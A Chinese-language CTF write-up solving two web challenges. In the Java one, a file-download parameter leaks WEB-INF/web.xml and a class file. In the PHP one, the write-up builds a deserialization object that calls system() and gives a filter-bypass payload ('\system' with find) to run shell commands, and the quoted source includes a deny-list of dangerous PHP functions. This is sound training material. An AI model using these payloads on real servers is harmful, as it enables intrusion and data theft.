[RoarCTF 2019]Easy Java1
一开始是一个登陆页面,看着有点想用sql注入先试一遍,但是题目已经给出了这是关于Java的
直接查看源码,发现参数要用POST的方式上传
点击进入新页面
百度查了一下这是web.xml 泄露
解题先知WEB-INF
WEB-INF是java的WEB应用的安全目录。
WEB-INF目录
- WEB-INF/web.xml
web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
- WEB-INF/classes
包含了站点所有用的class文件,包括servlet class和非servlet class
- WEB-INF/lib
存放web应用需要的JAR文件
- WEB-INF/src
源码目录,按照包名结构放置各个java文件
- WEB-INF/database.properties
数据库配置文件
- WEB-INF/tags
存放了自定义标签文件
- WEB-INF/jsp
jsp 1.2 一下版本的文件存放位置。
- WEB-INF/jsp2
存放jsp2.0以下版本的文件。
- META-INF
相当于一个信息包。
关于WEB-INF/web.xml
在了解WEB-INF/web.xml泄露之前,我们先要知道,web.xml是一个什么样的文件,以及它的泄露会出现哪些问题。
咱们先来看看WEB-INF这个文件夹
WEB-INF主要包含以下内容:
- /WEB-INF/web.xml:Web应用程序配置文件,描述了 servlet 和其他的应用组件配置及命名规则。
- /WEB-INF/classes/:包含所有的 Servlet 类和其他类文件,类文件所在的目录结构与他们的包名称匹配。
- /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
- /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
- /WEB-INF/database.properties:数据库配置文件。
参考:WEB-INF 基础知识-CSDN博客
解题
获取源码,payload:
filename=WEB-INF/web.xml
得到源码
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>
<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>
</web-app>
代码审计
payload:
filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
将base64字符串进行解码得到flag
[网鼎杯 2020 朱雀组]phpweb1
刚进入环境,页面就一直在不停刷新,而且发现这是POST的方式进行传参
解题先知
参考:PHP call_user_func理解_call_user_func php-CSDN博客
php中call_user_func的作用_con_user_fun php_kuafu888的博客-CSDN博客
call_user_func的作用
- 单个传参,把函数返回值赋给变量
- 多个参数,函数内部处理参数
利用bp抓包,从包中我们可以看到,传递了两个参数,func和p。func的值是date,再结合p的值,我猜测这里是用了call_user_func()来回调函数,将func的值当作函数名,p的值当作参数,即func的返回值赋给p。那么我们直接使用system函数查看当前目录下的文件
结果返回Hacker,被过滤了。执行file_get_contents
,可以看到index.php的源代码。里面有一个十分严格的过滤,几乎过滤了所有危险函数。下面是一个类,里面有析构函数,可以考虑到使用反序列化构造命令执行。
源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
果然是使用了call_user_func()函数 ,不过禁用了一部分函数,导致我们没法执行命令。禁用的函数比较全面,所以直接执行命令是不太可行的。然后我看到源码里面有一个Test类,在__destruct()里面会调用gettime(),再看禁用的函数里没有unserialize(),且$func和$p是可控的,那么就可以反序列化来达到命令执行的目的。思路已经明确了,接下来就是构造payload了
<?php
class Test{
var $p="ls";
var $func="system";
}
$a=new Test();
echo serialize($a);
?>
得到反序列化代码
命令执行成功,那接下来就找flag,其实前面的两步没有走的必要,可以先测试system是否被过滤掉,如果被过滤掉就进行绕过,直接查找flag文件
是被过滤掉了,那就绕过
但是没有看到该目录下有flag文件,那就用查找命令进行查找
func=\system&p=find / -name flag*
得到文件路径,直接cat得到flag
知识点
call_user_func():调用一个回调函数处理字符串,
可以用匿名函数,可以用有名函数,可以传递类的方法,
用有名函数时,只需传函数的名称
用类的方法时,要传类的名称和方法名
传递的第一个参数必须为函数名,或者匿名函数,或者方法
其他参数,可传一个参数,或者多个参数,这些参数会自动传递到回调函数中
而回调函数,可以通过传参,获取这些参数
返回回调函数处理后的结果
call_user_func函数是php引用匿名函数的一种方式,php不像js那样,可以把匿名函数赋值给变量并引用,但可以通过call_user_func函数来调用匿名函数,这也能做到局部变量不被全局污染,call_user_func调用的回调函数不仅仅是我们自定义的函数,还可以是php处理字符串的系统函数,如rtrim、explode的,在调用这些系统函数时,需要注意的是,call_user_func传递的参数必须符合系统函数的传参顺序
与call_user_func函数类似的还有一个call_user_func_array函数,这个函数的调用和作用和call_user_func函数基本一样,所不同的是,call_user_func_array函数只能传递两个参数,第一个是回调函数名,或者匿名函数,或者类方法,第二个参数则是数组,从这里也可以看出,其实call_user_func_array函数与call_user_func不同的是,call_user_func_array是利用回调函数处理数组,而call_user_func则是利用回调函数处理字符串,他们两个的根本差别就在这里了。你自己可以尝试的调用call_user_func_array()函数,因为它们的引用基本一样
参考:https://www.cnblogs.com/loveyoume/p/6099966.html
PHP: call_user_func - Manual